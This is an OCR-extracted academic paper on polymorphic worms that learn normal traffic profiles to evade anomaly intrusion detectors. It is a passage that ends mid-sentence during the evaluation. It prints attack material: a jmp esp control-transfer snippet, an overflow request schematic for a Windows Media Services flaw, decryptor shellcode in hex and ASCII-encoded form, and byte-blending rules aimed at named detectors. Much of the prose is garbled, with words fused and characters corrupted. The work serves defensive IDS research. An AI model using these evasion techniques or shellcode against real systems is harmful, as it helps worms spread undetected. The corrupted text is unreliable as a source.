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Abstract. Normal traffic can provide worms with a very good source of infor-
mation to camouflage themselves. In this paper, we explore the concept of poly-
morphic worms that mutate based on normal traffic. We assume that a worm has
already penetrated a system and is trying to hide its presence and propagation at-
tempts from an IDS. We focus on stealthy worms that cannot be reliably detected
by increases in traffic because of their low propagation factor. We first give an ex-
ample of a simple polymorphic worm. Such worms can evade a signature-based
IDS but not necessarily an anomaly-based IDS. We then show that it is feasible
for an advanced polymorphic worm to gather a normal traffic profile and use it to
evade an anomaly-based IDS. We tested the advanced worm implementation with
three anomaly IDS approaches: NETAD, PAYL and Service-specific IDS. None
of the three IDS approaches were able to detect the worm reliably. We found that
the mutated worm can also evade other detection methods, such as the Abstract
Payload Execution.

The goal of this paper is to advance the science of IDS by analyzing techniques
polymorphic worms can use to hide themselves. While future work is needed
to present a complete solution, our analysis can be used in designing possible
defenses. By showing that polymorphic worms are a practical threat, we hope to
stimulate further research to improve existing IDS.

1 Intr oduction

Asshavn by phatbot in early2004[Gro], wormsarebecomingnorecomple. While
only a few worms attemptto hide their presencdrom Intrusion DetectionSystems
(IDS), it is only a matterof time beforemorestealthyandtargetedwormsappearSuch
worms are likely to employ a lower propagationfactor [AR03] andwill try to hide
themseles wheneer possible.The objectives of theseworms will also be different
from thoseof thewormswe have seensofar.

For example stealthywormsmayno longerfocuson infectingasmary systemsn
the Internetaspossible Instead,suchworms cantarget speci®cnetworks and organi-
zations,suchasfederalgovernmentandmilitary, so asto disruptservicesgathersen-
sitive information,or attacknations'critical computerinfrastructuresAs with viruses,
wormscanalsobe designedo targetspeci®clDS approachesr implementationsand
theirweaknesses.
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In this paper we focus on stealthyworms. We assumehat a worm hasalready
penetratedhe target systemusing someattackvectorand mustnow evadethe local
IDS to propagateWe considerhow suchwormscan®rst obsene the traf®c from the
local hostandthelocal network andthenusethe knowledgeto hidetheir propagation.

Thecontributionsof this paperaretwofold. First, we shav thatpolymorphicblend-
ing is a practicalattackthat can be usedto evadelDS. Secondwe examine several
existing IDS approachesndexplain why they arevulnerable Our goalis to advance
thescienceof IDS technologyandpreparesecurityprofessional$or thenext generation
worm.

The remainderof the paperis structuredasfollows. Section2 providesimportant
de®nitionsandanalyzeghe structureof a polymorphicworm. In Section3 we summa-
rize known techniquesisedfor polymorphismSectiond describeourimplementation
of apolymorphicworm.In Section5, we shawv how theworm candefeatiDS by blend-
ing with normal traf®c. In Section6 we evaluatethe mutatedattack with four IDS
approachesSection7 containsanoverview of relatedwork.

2 Polymorphic Worms: De nitions and Structure

Bottom of the Stack
(higher addresses,

Encrypted PE/Worm Code e.g. Oxb )

Return Address/Frame Pointer

Exploit Encrypted PE/Worm Code

Overflowed Buffer
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Top of the Stack
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Fig. 1. This figure gives an example of a stack-based exploit containing a polymorphic worm

A polymorphicworm (PW) is a worm that changests appearancith every in-
stance As a result,byte sequencesf differentworm instancesnay look completely
different.However, the actualcodeof the polymorphicworm typically staysthesame.

To changeits appearancea PW can usemethodssimilar to thoseusedby poly-
morphicviruses[Bon94. Onecommonmethodis to take the original codeof aworm,
encryptit with arandomkey, andgenerate shortdecryptorfor the key. The polymor
phic decryptor(PD) andthekey changewith eachinstanceThecodeof thewormdoes
not. This operationis typically performedby the PolymorphicEngine(PE),includedas
partof theworm's code.
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A sophisticatedW canmutatebothitself andtheexploitsit usesPossibleelements
of suchaPW include:

— Attack vectorsto penetratesystems Sophisticategvormsusemary vectorsof at-
tack. The setincludesexploits for stack,heap,andothertypesof over ows, back-
doorsleft by otherworms,passwerd snif®ng, Man-in-the-Middleattacks,and so
forth.

— Invariants for attack vectors A PE usesattackinvariantsto decidewhat partsof
an attackare volatile so they canbe changedwithout preventingthe attack.One
exampleof suchinvariantsarethe offsetsin an exploit for placingthe returnad-
dressesandhandlerse.g.,Windows StructuredExceptionHandling-basedSEH)
exploitation.We discussnvariantsin Section5.2.

— Polymorphic Engine (PE). A PEwill generatéghemutatedversionsof thePD and
theattacksBelow, we brie y describehe speci®ctechniqued?E canusefor code
mutation.

— Worm body code In a simplecase the worm's body might simply containcode
thatselectsanattackvector generates setof destinationsmutateghe attackand
itself usingthe PE, then sendsout the mutatedinstancesWe will also consider
moreintelligentcodethatattemptgo hideworm's presencérom IDS.

An example of a commonpolymorphicworm structureis givenin Figure2. The
worm usesa buffer over ow asits attackvector The PD of sucha wormis typically
short. The basicPD we describeaveragesl10 byteson the Intel 32-bit architecture
(1A32).

2.1 Mutating Exploits using Toolkits

Haclersarealreadyat work on IDS-evadingcode.At presentthereareat leastthree
opensourcetoolkits we know of thatallow to mutateexploits: ADMmutate,CLET, and
JempiScodefKtw01,DUMUO03,Sed03 Theseoolkits cangeneratenutatedshellcode
with somevery basicrestrictions,e.g., no zeroesor no lowercasecharactergso as
to bypasstoupper()  -restrictedexploits). CLET [DUMUOQ3] attemptsto adjustfre-
quenciesof bytesin an exploit by addingso-called“cramming” bytesat the end of
the shellcodeto compensateThe toolkits make it harderfor signature-basedystems
to detectexploits in a straightfornard manner For instance somesignature-baselDS
toolslook for “NOP sleds”or sequencesf single-byteNOP instructsusedto over ow
a stack,sothatonecanjust guessthe rangeof a returnaddress(If onedoesnot cor-
rectly guesgshereturnaddresshut hitsthesequencef NOPinstructionsthe execution
proceedslownn the sledto the attackcode.)OtherIDS approachetook for the classic
/bin/shstring (canbe detectedasexplainedin the following subsection)The mutation
toolkits make it harderfor anIDS to detectthesecommonsequence®But the mutated
exploits createdusingthesetoolkits canstill bedetectedairly easily We describesome
basicdetectiontechniquesn the next section.

2.2 BasicDetectionTechniques

As we alreadymentionedthe codeof the worm andthe exploit will be differentwith
eachinstancelf thevulnerabilityis unknovnto asignature-baseldS, the DS is likely
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to bedefeatedWhatasignature-basedDS cando, however, is examinethe bytesof the
polymorphicdecryptor(which cannothemselesbe encryptedandthe sled.Onevery
commonway to detectpolymorphiccodeis by detectinga sled or a repeatingreturn
addresattheend.

If we wereto usethe classiclA32 NOP “0x90” sled, even Snortwould be able
to detectit reliably assumingthe sledis long enough.A more advancedtechnique,
usedby ADMmutate[Ktw01], is to useotherone-bytenstructionsasNOPs.On1A32,
Therearea total of 55 out of 256 opcodeghat canbe usedasone-byteNOPs,which
complicatesusinga sledasa signature However, suchsledsstill have a low entrogy
for an IDS to detect.Also, they canbe detectedby the AbstractPayload Execution
method[TC02).

An improvementof thiswould beto useavery shortsledor amulti-byteinstruction
sled.In the ®rst case theres very little room for error. The worm writer mustguess
the location of the exploit in memoryvery precisely In the secondcase,the worm
writer doesnot have to be asprecisebut multi-byte instructionsledscanbe moredif®-
cult to use.This is becausenulti-byte instructionscanbe interpreteddifferently if the
jump happengo landinsideoneof the multi-byteinstructionsLik ely, this maycausea
fault. To addresghe problem,CLET authorssuggesgeneratingNOP sledsrecursvely
[DUMUO3].

However, it may be possibleto avoid usinga sledevenif the exactlocationof the
exploit in memoryis not known in advance.This canbe doneby taking advantageof
the fact that often stackvariableson IA32 arealignedby 4 (or, in somecasesg and
12), which meanghatif (returnaddress)mod4 == 0 is true, the worm writer merely
needgo guesgheaddressn incrementf 4, 8, or 12 (givenour assumptioraboutthe
alignmenton the targetplatform),andcontrolwill transfercorrectlyto oneof the4, 8,
or 12-byteNOP sledinstructionsyrespectiely.

To complicatedetectionaworm canchoosenotto useasled.In suchcasejt must
know very speci®callywherethe codeof the exploit residesn memory This may not
alwaysbepossible A commonalternatve techniqueon Windows is to ®nd aninstruc-
tion, suchasjmp esp in oneof the accessibleDLLs that do not changefrom one
versionof Windows to another Theaddres®f the staticjmp instructionis usedasthe
returnaddreson the stack.Whenthe addresss popped,esp pointsat the byte next
to thereturnaddressThus,if the exploit containghefollowing codeimmediatelyafter
the over owedreturnaddressandthereturnaddresgointsto ajmp esp instruction,
it will gaincontrolwithout the needto guessanaddres®n thestack:

<overwritten ret>

call  $+2

pop eax

sub eax, <code_length+4+4+variables>
jmp eax

Theseaexamplesdemonstratéhatworm writers arealreadyexperimentingwith ba-
sic obfuscationengines andare creatingtoolkits to cloak commonfeaturesfound in
exploit code.At presentmostof the hackingtechnologyfocuseson signaturesvasion.
However, sometoolkits provide byte frequeng paddingcapabilities As IDS technol-
ogy improves,we canexpectmorecreative evasiontechniquedo arise.
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3 Overview of Polymorphism Techniques

If IDS technologyis to keeppacewith worm writers, we needto take stock of poly-
morphictechniquesurrentlyin use.This sectionoutlinesthe existing stateof the art.
Basictechniquesisedto make PD polymorphic(syntacticaolymorphismjnclude:

— Interleaving meaningfulinstructionswith DO-NOTHING instructions.For exam-
ple,if EAX, ESI,andEDI areusedin the “meaningful” partof the PD, ary instruc-
tion thatusesEBX will bea DO-NOTHING instruction.Considerthatinstructions
suchas(push eax; pop eax) or(xor eax, ebx; xor eax, ebx;)
areidempotent.

— Using differentinstructionsto achiere the sameresult. For instancemov eax,
110h hasanin®nite numberof equivalentinstructionsequencesncluding (mov
eax, 100h; add eax, 10h) or(mov eax,5; mov ebx,110h-5h; add
eax,ebx;) or(push 110h;pop eax;) .

— Shufing theregistersetusedin eachversionof the PD.

— Decryptingandreencryptingpartsof the PD asit is beingexecuted.

— Using severallayersof decryptorse.g.,a Matryoshkaor “Russiandoll” architec-
ture,wheredecryptorsarenestednsidedecryptorsandstartwith avery shortand
simpleone,soasto minimizethe effective lengthof the executable.

A complex PD may useindependentnstructionblocks that are randomly mixed
while instructionswithin blocksarediluted by NOPs,suchsasxchg regl,reg2;
sti/cli, inc/dec etc.

Notethatwhile the byte codesof eachPD versionwill bedifferent,the behaior of
thePD remainshe same Typically, it would modify thememoryareathatcorresponds
to the PE/Wbrm andthentransfercontrolto it. A PD canusethefollowing techniques
to maketracingof its codeharderisolatingindependenpartsof PD codeandexecuting
themin parallelor in arandomorder;usingtiming parameter@ encryption/decryption
so that excessve delayscausedby runninga PD undera deluggerwill resultin de-
crypting the codeincorrectly; storing decryptionkeys on anothercomputerthat will
only sene themonce;using systemparametersaskeys (interrupthandlercodehash,
changedy thedehugger andsoforth).

4 Implementing a Polymorphic Worm

Theprevioussectioncoveredbasicterminologyandoutlinedthe existing polymorphic
technologiesWe use someof technologiego designa new IDS-evasive worm. We
engagen this exerciseto demonstrat¢hat, usingexisting polymorphictechnologiesa
worm canevadelDS. Below, we describehe designof suchaworm. (Needlesso say
theimplementatiorof theworm itself will notbe madepublicly available.)

In choosinghestructureof theworm, we have atleasttwo options:make theworm
codea partof anexploit or sendthe worm's body separatelyandafter sendinga small
bootstrapcode/PDin the exploit.

The ®rst option seemsreasonablevhen the exploits needto sendlarge enough
amountsof datato over ow a buffer anyway. For example,the Windows Messenger
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Exploit (MS03-043)equires 4k of datawhile thellS WebDAV Il exploit (CA-2003-
09) requires 16k of data.The downsideof this approachs that exploits requiringa
lot of datamale lessattractive asattackvectors.

The secondoption, alsoknown as Staged Loading hasthe advantagethatit works
for smallerbuffersin stackover ows andfor othertypesof over ows, particularly
whenit is not possibleto ®t the whole worm codeinto the over owed buffer andthe
upperstackaddressesThis option doesnot requireall of the worm body to be trans-
mittedatonce.It hastheadditionaladvantageof usingportsotherthanthe portusedby
theinitial exploit. For example,it canusecaovert channelsg.g.,icmp echo-repliesto
transmitthe encryptedvorm body. For example,asshavn by The\id [The04, it may
be possibleto sendtheworm's bodyin ACK pacletsevenif SYN pacletsaredropped
by the ®rewall.

For simplicity, in our example,we usethe ®rst option. (Thelargerpaclet sizealso
givesthe IDS an advantage making evasion more dif®cult.) The worm exploits the
target systemusesa mutatedexploit containingthe worm's code.The worm's body is
thendecryptedandexecutedby the PD.

4.1 Attack Vector: Windows Media SewicesExploit (MS03-022)

In the remainderof this paper we usea known exploit for Windows Media Services
reportedn 2003astheattackvector It is arelatively simplestackover ow exploit that
targetsport80. The aw exploits a problemwith theloggingISAPI extensionhandling
of incomingclient requestsBelow is a schematioexampleof an HTTP requestthat
causesnover ow:

POST scripts/nsiislog.dll HTTP/1.1<CR><LF>
Accept:  */*<CR><LF>

Content-Type: text/plainkCR><LF>

Content-Length: 9996<CR><LF>

<CR><LF>

<long_string>

<CR><LF>

4.2 Polymorphic Decryptor

As notedin section2, a polymorphicworm mustcontaina PD. We describea simple,
fairly genericPD. Its main advantageis size.Below, we give an exampleof a more
complex PD andthe matchingWorm/PEwith supportfor blending.

The objective of the simplePPD is to decryptthe worm's body andtransfercontrol
to the worm's loader The worm's loader in our case,writes the worm to disk, and
executesit. The key featuresof the PD are as follows. First, asin [DUMUO3], we
choseregistersat randomandusedsymmetrictransformationgor PEandPD, namely
addition-subtractiofadd/sub)rotation(ror/rol), andexclusive OR.
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We selectwork andcounterregistersfrom the setR= eax,ebx,ecx,edx and
addressegistersfrom the setA=esi,edi . In mostcaseswe wereableto usesim-
ple additionsto abasebyte opcodeto generatdransformationsvith differentregisters.
To illustrate,for xor transformationthe speci®cregister canbe picked by addingits
index to thebasebyte 35h (eax)/81h otherregisters).Sincewe use32-bitoperationsn
the PD, theencryptedvorm's body mustbealignedby 4.

An exampleof a PD anda skeletonwe usedto generatePDsaregivenin the ap-
pendix.Theexampleis justanoutline,andvariableparts,suchasregistersarereplaced
by labels.

Note that mostof the PD is dynamic,i.e., register setupis doneusingequialent
registers:mov=push/popandso on. The codesfor andthe numberof transformations
changecompletely Thelengthof the PD andthe keys alsovary.

4.3 Worm Loader

After thePD decryptioncompletesthe controlis transferredo theworm loader Its ob-
jectiveis to save the contentf thedecryptedNorm/PEto atemporary®le andexecute
it. For that, it usesfour Windows API functions:CreateRle(),WriteFle(), CloseHan-
dle(),andCreatePbcess()

Sincethe worm usesa Windows-basedxploit, it needsto take into accountthe
speci®csof Windows buffer over ow exploitation. It usesthe Structued Exception
Handling (SEH)-basedpproachto locatethe baseof kernel32.dll , and Export
Directory Table/hashe$o locate LoadLibraryA. We note that the worm doesnot in-
novatein ®nding the API functionsin memory Both techniquesvere describedand
implementedcby LSD [The03. The subsequenfour API callsfor the loaderaremade
using the offsets obtainedusing the two functionsabove and hashesof the symbol
namedor eachfunction. Thesemechanismsve usedareknown andhave beencovered
by numerousarticlessowe will notdiscusshem.

4.4 Simple Worm/PE

We implementeda sampléWorm/PEexecutablewith Visual C++ .NET. ThePEis very
simpleandis basedon the CLET engine[DUMUOQ3]. (Below, we considerthe threat
posedby amuchmorecomplex PE.)

The simpleworm/PEdetailsareasfollows. The worm is single-threadednduses
non-blockingsoclets. For eachnew infection, the worm constructsa copy of the ex-
ploit in memory copiesthe loaderfrom a statichbuffer into the exploit, andgenerates
structurecontainingthreerandomlypicked registers,the key, andthe transformations
for the PD. Next, it copiesthe contentof its ®le into memory andencryptstself using
thetransformationgindthekey. It thengenerates matchingPD andinsertsit into the
buffer. Finally, it generatesin IP at randomand attemptsto sendan exploit to it. The
currentversiondoesnot containcodeto detectitself somultiple infectionsarepossible.
Adding this behaior would be trivial, sincethe worm merely needsto checkfor the
presencef the exploit ®le on disk. The examplewaskeptshortfor clarity, andto shov
proof-of-concepPE, usingexisting toolkits andtechnologies.
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5 Blendingin with Normal Traf c

The previous sectionsllustratedthe basicsof PEworms,andhow onecanbe created
using existing toolkits. An anomaly-base¢DS candetectsucha worm, for the most
part. In this section,we considerthe problemposedby PE wormsthatblendin with
backgroundtraf®c. Sincehackingtoolkits now offer primitive blending capabilities,
we submitthat this is a new frontier for worm writers. IDS technologiesneedto be
preparedThefollowing analysisanticipateneapproachworm writers maytake.

5.1 Learning Normal Pro®le

If we assumea worm hasinfecteda network, its next taskis to spreadwithout alerting

theIDS. The worm may attemptto disguiseits polymorphicpayloadasnormaltraf®c.

But in orderto blendin, a worm needsto learnwhat normaltraf®c looks like. More

precisely the worm needsto know statisticalpropertiesof the typesof traf®c usedin

theattackvectorst has.For example,if thewormemploys Post®xandWindows Media
Serviceexploitsto propagateit needgo know if thereis any outgoingtraf®c destined
for ports25and80, the sizeandcontentof packetsandsoforth.

Signi®cantly the worm may only needto witnessand study traf®c sentfrom the
local network to a remotetarget. Many anomaly-basedDS techniquesdon't screen
outgoingtraf®c, andinsteadusecomputationatesourceso screenncomingpackets.
A blendingworm thereforemay only needto matchtraf®c in onedirection.

It would be most bene®cialfor a worm to focus on the samestatisticalproper
ties an anomaly-basetDS usesfor calculatingthe anomalyscore.Theseincludethe
maximumand averagesize and rate of normal paclets, byte frequeng distributions
(n-gramanalysis) rangesfor valuespresentat different offsets,time information,an
precedence/antecedergschaswhenapaclket mustbefollowedby a speci®cresponse
or sequencef paclets.

If we presuméahe worm hascompromiseda local host,andknows which statistcs
areof interest,the pro®lescanbe obtainedby snif®ng on a local network interfaceor
by examiningthelocal TCP/IPimplementatiors buffers. While in somecasedt may
not be possibleto gathemormaldata,e.g.,in a switchedervironmentor undera non-
rootuser it is highly likely thata worm would be ableto do soon mostsystemskFirst,
mary exploits provideimmediateroot accesshecausef the privilegelevel usedto run
vulnerableprograms Secondaworm canescalaterivilegeslocally. Third, especially
for Windows usersyunningentiresystemswith superuser/Administrataprivilegesis
notuncommon.

We gathereda normal pro®le for outgoing pacletson port 80 basedon the real
traf®c datafrom anon-campugaboratory We manually®lteredthetraf®c to make sure
it is attack-free The normalpro®le we constructedvasbasedon the featuresusedby
four existing Anomaly Detectionapproachedescribedn Section6.

Normal pro®le example We usethreeof the statisticalpropertiesdescribedabove
to shav how a worm canblendin: Averagebyte frequenciesperbyte variancesand
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pacletsizes.In our example,we presumahe worm usesa singleattackvector, an ex-
ploit for Windows MediaServicesThereforewe only gatherthe statisticsfor outgoing
POSTrequestgo port 80.

5.2 Exploit Invariants

For mostexploits, therearecertainpartsor propertieghat mustbe presenin orderfor
the exploit to work. We call suchpartsexploit invariants.For instancejn caseof the
recentMS Windows MessengeExploit (MS03-043),it is well known thatthemessage
mustconsistof a MessengeProtocolheaderand a body The length of the message
mustbe 3992 or more bytesfor the exploit to work and the characteiOx14 mustbe
presentbecausdhe over ow relies on 0x14 beingreplacedby two charactersOx0d
and Ox0a. Another exampleis the PPTPexploit. It requiresthat several paclets be
exchangedeforeanexploitablestateis reached.

Theability of awormto blend-inis limited by the exploitsit uses Someof exploits
canbe considerednorerestrictive for worm purposeghan others.To illustrate,one
possibleexploit invariantis the minimal size of the paclet. Considerthe casewhere
aworm hasto generates0k exploit UDP pacletsfor a servicewherethe averagesize
of an outgoingpaclet is 200 bytes.In this situation,it will probablybe of little im-
portancehow closethe contentof the pacletsis to normal,sincethe sizewill trigger
animmediateanomaly It appearghat more sophisticatedeapandintegerover ows,
including the impossiblepath exploits [HOP 03] arelikely to be lessrestrictive. We
planto furtherdiscussnvariantsandusability of exploitsin a separatgaper

Baseexploit revisited To illustrate how a polymorphicworm canblendthe exploits
it usesto avoid detectionwe modify the Windows Media ServicesRemoteCommand
Executionexploit describedn the previoussection.

Theexploit codewe useis basedn theimplementatiorby ®rewOrker [Fir03]. The
codesendsapproximatelylOk of data.Whendivided by a the MTU of 1500for the
Ethernetinterfaceon our testmachine the numberof datapacletsthatwill be sentby
the TCP/IPstackis goingto beabout10240/1500=7 TCP paclets.

Recallthattheinvariantpartof the exploit includesthe’POST” requestine. Some
headerssuchas”Content-type”,”Content-length”,and "Mx _statslogline” (in one of
the exploit variations)mustalsobe presentout their positionis not ®xed. The restof
theexploit, includingheadersandtheir values,canbe changedy theworm.

5.3 Blending with Normal Traf®c

To illustratethe viability of theidea,andthethreatposedby suchanattack,weimple-
menteda simpletraf®c blender We were ableto eludeseveral existing anomalylDS
usingthe blendedpacletsgeneratedy our implementationasdescribedaterin this
section.(As before, we mustdeclineto releasehe codefor this traf®c blender but will
describdts generadesignandassumptions.)

Theinputto theblenderis goingto includethe normaltraf®c pro®le andthebinary
to be blended.The objective of the blenderis, giventheinput, to ensurethe outputis
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closeenoughstatisticallyto the normalpro®le. The de®nitionof closenesslepend®n
thespeci®canomalyscoreformulaof IDS.

Basedon the formulasusedby the IDS we analyzedwe derivedthreerulesfor its
operation:

1. Theoutputmustonly consistof bytesthathave non-zerdrequeng in normaltraf-
®c.

2. Thefrequeng of bytesin theoutputmustbeequalor closeto thebytes'frequencies
in normaltraf®c

3. Outputmustusethe bytesallowed for any given offset, if possible.For example,
the normal pro®le may include allowed rangesfor every offset: 0:5-18,25-30,50-
60,1:60-65,16-64etc.

5.4 Narrowing effectiverange

We usetheterm“effectiverangeto referto thenumberof all valuesin aspectrunwith
frequenciesabove a threshold(typically, above zero).For example the effective range
of the normalHTTP pro®le we gathereds 155, meaningthereare 155 bytes(out of
256)thathave ary variance.The remainingl01 of 256 possiblebytesnever appeaiin
thenormaltraf®c or appeaextremelyrarely. Theeffective rangeof theinputbinarywe
use,in contrastjs 187.In otherwords,the exploit used187 distinctbytes.

To complywith therule 1 above, we mustnarrav down the effective rangeof the
input binary. We do thatby mappingbytesin the effective rangeof the binaryto bytes
from the effective rangeof the normalpro®le. Whenthe two rangeddiffer, multi-byte
mappingsarenecessary

Mappingthe exploit bytesto rangesseenin the target spectrumis simple.For ex-
ample,one could usea minimal spanningtree (e.g., Kruskal's algorithm [J.B58) to
matchbyte frequencieghat are mostsimilar betweerthe exploit andtarget spectrum.
Othernon-optimalapproachearepossible Onerequirements thatthe blenderwhich
matchesxploit-to-tamgetbytefrequenciesmustcompletequickly, like an
spanningreealgorithm.Additionally, the blendingprogrammustbe space=f®cientso
asnotto risk a host-base@nomaly or generatéloatedoutput,large mutatedpaclets.

An exampleof anactualmulti-byte mappingis "20h 67h”, "20h 6ch”, where20h
is afrequentcharactemve useasthe control charactethat mustbe followed by oneor
moreselectobytes,and67hand6charethe selectobytes.Thefrequeny distribution
of ablenders outputandnormaltraf®c is shavn in Figure?2.

5.5 Polymorphic Decryptor

The advancedPD reversesthe work doneby the PE. Oneof the objectivesof the ad-
vancedPD is given a setof mappings , it mustdecodethe
Worm/PEbackinto its original binary format. The assemblysourcecode of the ad-
vancedPD supportingmappingss givenin theappendix.

The format of mappingstableis quite simple.One of the byte codesis resered
as a control characteras describedearlier The control charactemrmust be followed
by the selectorbyte. The decodedbyte is the index of eachmapping.For example,
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Fig. 2. Comparison of frequency distributions of a blended packet (unpadded) and normal port 80
traffic. This is an interim version of the blended packet. As you can see, the worm narrows down
the range of values it uses to match that of the normal traffic. The frequencies of the worm bytes
are still different from normal. In the next step, shown in Figure 4, the worm will use padding to
match the frequencies of normal traffic.

the following fragmentof the mappingtable startingat offset 0: 0x01, 0x15, 0x26,
0x17,0x33,0x7@Mx26,0x15, ... (0x26 is the control character)containsthe following
mappings:

0x01->0
0x15->1
0x26 O0x17->2
0x33->3
0x70->4
0x26 0x16->5

Note that we usedmappingsto blendin the Worm/PE but the PD mustalso be
blended First, it cannotusecharacterghat are never presentin normalHTTP traf®c
or areextremelyrare.Secondjt mustbe built sothatits contenthaslittle effectonthe
overallfrequeng distribution of thepaclet. At thesametime, it mustremainexecutable
sothatit candecode¢he Worm/PE.To solvethis problem theblendingworm mightuse
theexecutableASCII shellcodealgorithm[R.03]. Thealgorithmencodesry sequence
of binary datainto ASCII characterso that whenit is run the ASCIl sequencawill
decodethe original sequencandexecuteit. Thus,the original binary sequencef the
PD aboreis:

20 FC BE 5E 00 00 00 BF 5E 00 00 00 31 CO 89 C3 8A 3D
04 00 00 00 81 FE 00 00 00 00 75 06 68 5E 00 00 00 C3
AC 38 F8 75 05 88 C4 AC 86 EO BD 5E 10 00 00 31 C9 8A
5D 00 38 D8 74 09 38 FB 75 01 45 45 41 EB FO 38 F8 75
0C 45 8A 5D 00 38 DC 74 04 45 41 EB EO 88 C8 AA EB BC
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Wereplacedon-printablecharactersvith adot. Thelengthof theoriginal sequence
is 90 bytes.After encodingn executableASCII, thebinary sequencéecomes:

%o#.-%%DABB-#Nzz-xXzzz-22zzP-#A##-nX.H-z2z vzP-#O ##-Az. #

-Xz5yP-##p#-90z--2zz%P-##a#-WUvy-zzzzP- At n#l-zz K
ZP-#i##H#H-#\V##-ezpDP-#U##-pz.L-zzyzP-# ## -czcZ- zzzzP- %
Y##-%zyk-%zzzP-##itt-##z1-sDzzP-#.M#-#wz 4-Dzzz P-#d## -
.za#-0ztkP-eZ#B-72z.z-z2zzzP-#D##-#zZ#-fz zIP-## #p-#a# z
-EuQzP-##si--izz-%zzzP-####-cb#d-zz8zP- #HH-# #Ha-0q 6
ZP-efttH-z#tHz-26 4z P-#i#H#-61#Ht.-zy CrP-j##L -zbbz- zzzzP- #

#Lk-Cfzz-zzzzP

As you cansee,all bytesarewithin the normalrangefor HTTP andthereareno
zeroesThesizeof the ASCIl-encodedDis 379bytes.Thesequencéormsthebinary
codeof thePDonthestackby usingpush, pop, add, and sub operationsith
valid characterangese.g.,0x21212121-0x#7f7f7f. To make useof theencodedstring,
we mustbe carefulaboutthe stackcontentsbecausehe stackis goingto containthe
ASCII PD, thenthe decodedPD, and both the encodedand the decodedPE/\Wbrm.
ASCII PD s goingto be executed®rst, it will thentransfercontrolto the decodedPD
reconstructe@ttheendof the ASCII PD, which, in turn, will decodehe Worm/PE.

5.6 Putting the blendedexploit together

We now give an exampleof a mutatedexploit. The worm constructghe mutatedex-
ploit by copying theinvariantsfor the baseexploit describeckarlier copying the ASCII
shellcode copying the encoded®D/Worm, addingpaddingbytesand fragmentsfrom
legitimate packetsto make the mutatedpacletslook normalboth visually and statis-
tically. The ®nal structureof the exploit is showvn in Figure 3. Theinitial fragmentof
themutatedexploit appearsn theappendixNotethatthe ASCII executabledecodelis
precededndfollowedby fragmentof actualnormaltraf®c aspaddinganda disguise.
Becausehe ASCII executabledecoderreconstructghe PD on the stack,we have at
least98 bytesavailablefor paddingafterits end.

Sincethe exploit wasoptimizedfor theanomalyscorestatisticsusedby the IDS, it
appearechormal. Several factorscontributedto this result.First, the exploit only con-
tainscharactershatfrequentlyappeain normaltraf®c. Secondthefrequencie®f char
actersaresuchthatthey closelymatchrespectie frequenciesn normaltraf®c. Third,
thestringsusedin variablepartsof the mutatedattackareportionsof normalpacletsat
correctoffsets.We provide moredetailswith a perIDS explanationin Section6.

5.7 Remarkson Splitting the Input

With somenormal pro®les, it may be prudentfor the blenderto split the input into
several chunksand calculatefrequenciedor eachchunk independentlyThis would
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HTTP Request Header:
#POST ..."

Packet 1 (MSS) -
Variable Part

Filled with Fragments of |egitimate packets and
bytes to compensate for frequency differences)

Executable ASCII Decoder

— Variable part
(Later filled with decoded PD by pushing values
on the stack)

Blended PE/Worm Code Chunk1

Packet 2 (MSS) Variable part
(Filled with fragments of legitimate packets and

bytes to compensate for frequency differences)

Blended PE/Worm Code Chunk2

Variable part
—(Filled with fragments of legitimate Packets and
bytes to compensate for frequency differences)

Blended PE/Worm Code Chunk3

Fig. 3. This figure shows the structure of the blended exploit buffer. The variable parts depend
on the exploit used. The buffer may be split into several packets by the network stack when
transmitted. The Maximum Segment Size (MSS) on our system was 1460 so each packet above
including headers was no larger than 1460 bytes.

60 T T T
! Blended attack (padded)  +
Normal traffic -------

50 |1

)
g \
El H
g o 4
H ks
& “
20 | Ww 4
%
*ﬁw‘k
e,
10+ = 4
WW
R
0 . . . .
0 20 40 60 80 100 120 140

Bytes sorted by frequency

Fig. 4. Comparison of frequency distributions of a blended packet (after padding) with normal
port 80 traffic.
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resultin smallermappingtablesaswell aspotentiallybettermappingdo normaltraf®c,
especiallyif differentchunkswill bein pacletsof differentsizes.

Also, asanomaly-basetDS typically calculatestatisticson a perpaclket basis the
worm chunkcanonly take a partof the paclet andpadthe restto better®t the normal
pro®le. For tcp-streamsit may be possibleto changethe default MSS size by using
setsockptto ®t into differentnormalpaclet clustergdbasedn size)for whichanomaly
IDS mayhave lessrestrictve normalpro®les.

We concludethis sectionby presentinghe comparisorof the frequeng distribu-
tionsof the ®nal versionof the mutatedexploit andthe normaltraf®c, seeFigure4.

6 Experimental Evaluation of the Mutated Attack with IDS

To evaluatethe effectivenessof blendingPE worms,we testedfour anomalyIDS ap-
proaches{Mah03, PAYL distance-basefinomalyIDS) [KS04], Service-speci®@&nomaly
IDS [KTKO02], andAbstractPayloadExecution(APE) [TC0Z,

We evaluatedthreeof the approaches practiceusingtheimplementationsve re-
ceivedfrom the authors We examinedService-speci®@nomaly IDS approactin the-
ory sincetherewe could not obtainits implementation.

We foundthatall of the anomalylDS we testedcanbe evadedusingpolymorphic
blendingattacks.The detailsof ourtestsaregivenbelow.

NETAD Theanomalyscoreof NETAD is basedon Eq. (1).

1)

Here, is the attribute index, e.g.,the offset of a bytein a paclet, is thetime
sincethelastanomaly is the numberof training pacletsfrom the lastanomalyto
theendof training, is the numberallowedvaluesfor each®eld, is thefrequeny
with which valuesappear

The approachcan be evadedby polymorphicblendingfor several reasonsFirst,
blendedpaclets canuselegitimate valuesthatarein , exceptfor attackinvariants.
Thesevaluescanbe gatheredy observingraf®c.

Secondthe frequeny of eachvaluethatoccursin normaltraf®c canbe measured
easilyandtakeninto accountfor . For blendingpurposesthe attributesof mostin-
terestwould probablybe thosewith high . The factthatthey occurfrequentlyalso
seneswormspurposedecausdt is likely to take lesstime to gatherthe statistics.

Evaluation. Theoriginal NETAD approactonly consideredhe®rst 48 bytesof the
paclet, including the headersAs a result, even the non-mutatedattackwe described
earliercaneasilyevadethe IDS.

For fair considerationywe modi®edtheoriginal NETAD implementatiorio consider
pacletsin full, upto 1460bytespertcp fragment,basedonthe MTU for our network
interface.We alsohadto remove somerestrictionsjncluding the maximumprocessed
pacletsizesandalloweddestinatioraddressegTheoriginalimplementatiorwasbased
onthe DARPA IDS testsetandonly allowed RFC1918privateaddresses.)
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To optimizeNETAD' s performancendeffectivenessye only trainedit on outgo-
ing HTTP traf®c. Our goalwasto setup thelDS sothatit hadthebestpossiblechances
of detectingour mutatedexploit.

We performedmanualand semi-automati®Iltering on the input datasetbasedon
live paclet capturesn our network using Snortto remove known attacks Every paclet
in thesetwasthe®rst datapacletof anHTTP requessinceNETAD only considerghe
